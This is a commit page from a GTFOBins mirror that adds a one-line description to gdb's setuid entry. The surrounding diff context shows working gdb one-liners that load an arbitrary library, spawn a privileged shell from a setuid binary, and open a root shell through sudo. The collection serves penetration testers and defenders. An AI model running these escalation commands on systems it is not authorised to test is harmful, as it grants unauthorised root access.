1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00

Add missing description to gdb sudo

This commit is contained in:
Emilio 2019-01-05 11:28:25 +00:00
parent 31be45fbde
commit 732e4f9ae4

View File

@ -48,7 +48,8 @@ functions:
- description: This requires that GDB is compiled with Python support.
code: gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit
suid:
- code: ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
- description: This requires that GDB is compiled with Python support.
code: ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
sudo:
- code: sudo gdb -nx -ex '!sh' -ex quit
capabilities: